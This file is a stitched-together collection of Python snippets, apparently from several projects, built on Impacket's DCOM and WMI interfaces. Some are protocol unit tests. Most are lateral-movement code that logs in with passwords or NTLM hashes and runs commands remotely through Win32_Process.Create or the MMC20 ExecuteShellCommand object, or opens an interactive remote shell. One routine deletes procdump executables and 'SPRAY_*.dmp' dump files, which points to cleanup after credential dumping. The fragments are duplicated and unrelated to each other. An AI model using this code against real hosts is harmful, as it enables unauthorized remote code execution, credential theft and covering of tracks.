def test_IWbemLevel1Login_NTLMLogin(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) resp = iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) print resp dcom.disconnect()
def connect(self, host, username, password, domain=None, lmhash="", nthash=""): if not domain: domain = host.ip_addr dcom = DCOMConnection(host.ip_addr, username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) except Exception as exc: dcom.disconnect() if "rpc_s_access_denied" == exc.message: raise AccessDeniedException(host, username, password, domain) raise iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) self._dcom = dcom except: dcom.disconnect() raise finally: iWbemLevel1Login.RemRelease()
def wmiexec(conninfo, command, share='C$', output=True): dcom = DCOMConnection(conninfo.host, conninfo.user, conninfo.password, conninfo.domain, conninfo.lm, conninfo.nt, conninfo.aes, oxidResolver=True, doKerberos=conninfo.kerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() output_filename = None win32Process, _ = iWbemServices.GetObject('Win32_Process') if output: output_filename = '\\'.join([ r'\Windows\Temp', ''.join(random.sample(string.ascii_letters, 10)) ]) command = r'cmd.exe /Q /c {} 2>&1 1> \\127.0.0.1\{}\{}'.format( command, share, output_filename) win32Process.Create(command, r'C:\Windows\Temp', None) dcom.disconnect() return output_filename
def test_IWbemLevel1Login_EstablishPosition(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) resp = iWbemLevel1Login.EstablishPosition() print(resp) dcom.disconnect()
def run(self, addr, osArch='64'): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices=iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, self.__smbConnection) # Delete Procdump cmd = "del procdump%s.exe" % (osArch) logging.info("%s Deleting ProcDump on %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.onecmd(cmd) else: self.shell.onecmd(cmd) # Delete Dumps cmd = "del SPRAY_*.dmp" logging.info("%s Deleting dumps on %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.onecmd(cmd) else: self.shell.onecmd(cmd) finally: if self.__smbConnection is not None: self.__smbConnection.logoff() dcom.disconnect() sys.stdout.flush()
def connect(self, host, username, password, domain=None, lmhash="", nthash=""): if not domain: domain = host.ip_addr dcom = DCOMConnection(host.ip_addr, username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) except Exception as exc: dcom.disconnect() if "rpc_s_access_denied" == exc.message: raise AccessDeniedException(host, username, password, domain) raise iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) self._dcom = dcom except: dcom.disconnect() raise finally: iWbemLevel1Login.RemRelease()
def run(self, addr, smb): if self.__noOutput is False: smbConnection = smb else: logging.info('Output retrieval disabled') smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) self.shell.onecmd(self.__command) except (Exception, KeyboardInterrupt), e: logging.error(str(e)) dcom.disconnect()
def run(self, addr, smbConnection): result = '' dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection) result = self.shell.send_data(self.__command) except (Exception, KeyboardInterrupt), e: traceback.print_exc() dcom.disconnect() sys.stdout.flush()
def test_IWbemLevel1Login_NTLMLogin(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) resp = iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) print(resp) dcom.disconnect()
def test_IWbemServices_ExecQuery(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin( '\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) #classes = [ 'Win32_Account', 'Win32_UserAccount', 'Win32_Group', 'Win32_SystemAccount', 'Win32_Service'] classes = ['Win32_Service'] for classn in classes: print("Reading %s " % classn) try: iEnumWbemClassObject = iWbemServices.ExecQuery( 'SELECT * from %s' % classn) done = False while done is False: try: iEnumWbemClassObject.Next(0xffffffff, 1) except Exception as e: if str(e).find('S_FALSE') < 0: print(e) else: done = True pass except Exception as e: if str(e).find('S_FALSE') < 0: print(e) dcom.disconnect()
def test_IWbemServices_ExecQuery(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) #classes = [ 'Win32_Account', 'Win32_UserAccount', 'Win32_Group', 'Win32_SystemAccount', 'Win32_Service'] classes = [ 'Win32_Service'] for classn in classes: print("Reading %s " % classn) try: iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from %s' % classn) done = False while done is False: try: iEnumWbemClassObject.Next(0xffffffff,1) except Exception as e: if str(e).find('S_FALSE') < 0: print(e) else: done = True pass except Exception as e: if str(e).find('S_FALSE') < 0: print(e) dcom.disconnect()
def run(self, addr, smb): if self.__noOutput is False: smbConnection = smb else: logging.info("Output retrieval disabled") smbConnection = None dcom = DCOMConnection( addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, ) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject("Win32_Process") try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) self.shell.onecmd(self.__command) except (Exception, KeyboardInterrupt), e: logging.error(str(e)) dcom.disconnect()
def test_IWbemLevel1Login_EstablishPosition(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) resp = iWbemLevel1Login.EstablishPosition() print resp dcom.disconnect()
def connect(self, host, username, password, domain=None, lmhash="", nthash=""): if not domain: domain = host.ip_addr dcom = DCOMConnection(host.ip_addr, username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) except Exception, exc: dcom.disconnect() if "rpc_s_access_denied" == exc.message: raise AccessDeniedException(host, username, password, domain) raise
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect()
def run(self, addr): if self.__noOutput is False: try: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") except Exception as e: return e sys.stdout.flush() sys.exit(1) else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: global totalOutput totalOutput=str(e) #logging.error(str(e)) try: if smbConnection is not None: smbConnection.logoff() except: pass try: dcom.disconnect() except: pass sys.stdout.flush() return str(e)
def test_IWbemServices_GetObject(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) iWbemLevel1Login.RemRelease() classObject, _ = iWbemServices.GetObject('Win32_Process') dcom.disconnect()
def test_IWbemServices_GetObject(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) iWbemLevel1Login.RemRelease() classObject,_ = iWbemServices.GetObject('Win32_Process') dcom.disconnect()
def test_IWbemLevel1Login_WBEMLogin(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: resp = iWbemLevel1Login.WBEMLogin() print resp except Exception, e: if str(e).find('E_NOTIMPL') < 0: dcom.disconnect() raise
def test_IWbemLevel1Login_WBEMLogin(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: resp = iWbemLevel1Login.WBEMLogin() print resp except Exception, e: if str(e).find('E_NOTIMPL') < 0: dcom.disconnect() raise
def test_IWbemLevel1Login_RequestChallenge(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: resp = iWbemLevel1Login.RequestChallenge() print(resp) except Exception as e: if str(e).find('WBEM_E_NOT_SUPPORTED') < 0: dcom.disconnect() raise dcom.disconnect()
def test_IWbemServices_OpenNamespace(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./ROOT', NULL, NULL) try: resp = iWbemServices.OpenNamespace('__Namespace') print(resp) except Exception: dcom.disconnect() raise dcom.disconnect()
def test_IWbemLevel1Login_RequestChallenge(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: resp = iWbemLevel1Login.RequestChallenge() print(resp) except Exception as e: if str(e).find('WBEM_E_NOT_SUPPORTED') < 0: dcom.disconnect() raise dcom.disconnect()
def tes_IWbemServices_OpenNamespace(self): # Not working dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./ROOT', NULL, NULL) try: resp = iWbemServices.OpenNamespace('__Namespace') print resp except Exception, e: dcom.disconnect() raise
def __wmi_exec(self, command): # Convert command to wmi exec friendly format command = command.replace('%COMSPEC%', 'cmd.exe') dcom = DCOMConnection(self.__remote_name, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aes_key, oxidResolver=False, doKerberos=self.__do_kerberos, kdcHost=self.__dc_ip) i_interface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iwbemlevel1login = wmi.IWbemLevel1Login(i_interface) iwbemservices = iwbemlevel1login.NTLMLogin('//./root/cimv2', NULL, NULL) iwbemlevel1login.RemRelease() win32_process, _ = iwbemservices.GetObject('Win32_Process') win32_process.Create(command, '\\', None) dcom.disconnect()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: print("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: print("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: print("SMBv2.1 dialect used") else: print("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() print e if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
def __init__(self, host, share_name, username, password, domain, smbconnection, hashes=None): self.__host = host self.__username = username self.__password = password self.__smbconnection = smbconnection self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share_name = share_name self.__output = None self.__outputBuffer = '' self.__shell = 'c:\\windows\\system32\\cmd.exe' self.__pwd = 'C:\\' self.__quit = None self.__executeShellCommand = None self.__retOutput = True if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, None, oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document',)) dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iDocument.GetIDsOfNames(('ActiveView',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] pQuit = iMMC.GetIDsOfNames(('Quit',))[0] self.__quit = (iMMC, pQuit) self.__executeShellCommand = (iActiveView, pExecuteShellCommand) except Exception as e: self.exit() logging.error(str(e)) dcom.disconnect()
def run(self, command, address, namespace): dcom = DCOMConnection(address, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) iWbemLevel1Login.RemRelease() shell = WMIShell(self.__logger, iWbemServices, address) shell.onecmd(command) iWbemServices.RemRelease() dcom.disconnect()
class WMI: def __init__(self, connexion, logger): self.conn = connexion self.conn.hostname = list({ addr[-1][0] for addr in socket.getaddrinfo(self.conn.hostname, 0, 0, 0, 0) })[0] self.log = logger self.win32Process = None self.buffer = "" self.dcom = None self._getwin32process() def _buffer_callback(self, data): self.buffer += str(data) def _getwin32process(self): self.log.debug("Trying to authenticate using : {}\\{}:{}".format( self.conn.domain_name, self.conn.username, self.conn.password)) try: self.dcom = DCOMConnection(self.conn.hostname, self.conn.username, self.conn.password, self.conn.domain_name, self.conn.lmhash, self.conn.nthash, None, oxidResolver=True, doKerberos=False) iInterface = self.dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.win32Process, _ = iWbemServices.GetObject('Win32_Process') except KeyboardInterrupt as e: self.dcom.disconnect() raise KeyboardInterrupt(e) except Exception as e: raise Exception("WMIEXEC not supported on host %s : %s" % (self.conn.hostname, e)) def execute(self, commands): command = " & ".join(commands) try: self.win32Process.Create(command, "C:\\", None) self.dcom.disconnect() except KeyboardInterrupt as e: self.log.debug( "WMI Execution stopped because of keyboard interruption") self.dcom.disconnect() raise KeyboardInterrupt(e) except Exception as e: self.log.debug("Error : {}".format(e)) self.dcom.disconnect()
def create_wbem(self, namespace='//./root/cimv2', rpc_auth_level=None): if self._wbem_conn: return self._wbem_conn key = None if self._use_cache: key = self._cache_key_entry() if key in WBEM_SESSIONS_CACHE: self._dcom_conn, self._wbem_conn = WBEM_SESSIONS_CACHE[key] self._cached = True return self._wbem_conn dcom = DCOMConnection( self.host, self.user, self.password, self.domain, self.lm, self.nt, self.aes, oxidResolver=True, doKerberos=self.kerberos ) try: iInterface = dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login ) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) if rpc_auth_level == 'privacy': iWbemServices.get_dce_rpc().set_auth_level( RPC_C_AUTHN_LEVEL_PKT_PRIVACY) elif rpc_auth_level == 'integrity': iWbemServices.get_dce_rpc().set_auth_level( RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) except: dcom.disconnect() raise self._dcom_conn = dcom self._wbem_conn = iWbemServices if key is not None: WBEM_SESSIONS_CACHE[key] = self._dcom_conn, self._wbem_conn self._cached = True return self._wbem_conn
def test_IWbemServices_ExecMethod(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin( '\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) #classObject,_ = iWbemServices.GetObject('WinMgmts:Win32_LogicalDisk='C:'') classObject, _ = iWbemServices.GetObject('Win32_Process') obj = classObject.Create('notepad.exe', 'c:\\', None) handle = obj.getProperties()['ProcessId']['value'] iEnumWbemClassObject = iWbemServices.ExecQuery( 'SELECT * from Win32_Process where handle = %s' % handle) oooo = iEnumWbemClassObject.Next(0xffffffff, 1)[0] #import time #time.sleep(5) owner = oooo.Terminate(1) #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Group where name = "testGroup0"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #import time #owner = oooo.Rename('testGroup1') #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #import time #owner = oooo.GetAccessMask() #print owner.getProperties() #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #obj = oooo.SetShareInfo(0, 'HOLA BETO', None) #classObject,_ = iWbemServices.GetObject('Win32_ShadowCopy') #obj = classObject.Create('C:\\', 'ClientAccessible') #print obj.getProperties() # this one doesn't work #classObject,_ = iWbemServices.GetObject('Win32_Service') #obj = classObject.Create('BETOSERVICE', 'Beto Service', 'c:\\beto', 16, 0, 'Manual', 0, None, None, None, None, None) #print obj.getProperties() dcom.disconnect()
def run(self, addr, smbConnection): result = '' dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection) result = self.shell.send_data(self.__command) except (Exception, KeyboardInterrupt), e: traceback.print_exc() dcom.disconnect() sys.stdout.flush()
def execute(self, command=None): #print 'Filename: ' + sys._getframe(0).f_code.co_filename + ' Method: ' + sys._getframe(0).f_code.co_name if not command: self.logger.error("Missing command in wmi exec() !") return shell_cmd = 'cmd.exe /Q /c ' + command dcom = DCOMConnection(self.host, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True) iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login,IID_IWbemLevel1Login) iWbemLevel1Login = IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, callResult = iWbemServices.GetObject('Win32_Process') win32Process.Create(shell_cmd, 'C:\\', None) dcom.disconnect() return
def check_creds(server, username, password, domain): has_access = False lmhash = '' nthash = '' try: dcom = DCOMConnection(server, username, password, domain) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() dcom.disconnect() has_access = True except: has_access = False return has_access
def run(self, command, address, namespace): dcom = DCOMConnection(address, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) iWbemLevel1Login.RemRelease() shell = WMIShell(iWbemServices, address) shell.onecmd(command) iWbemServices.RemRelease() dcom.disconnect()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: print("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: print("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: print("SMBv2.1 dialect used") else: print("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() print e if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
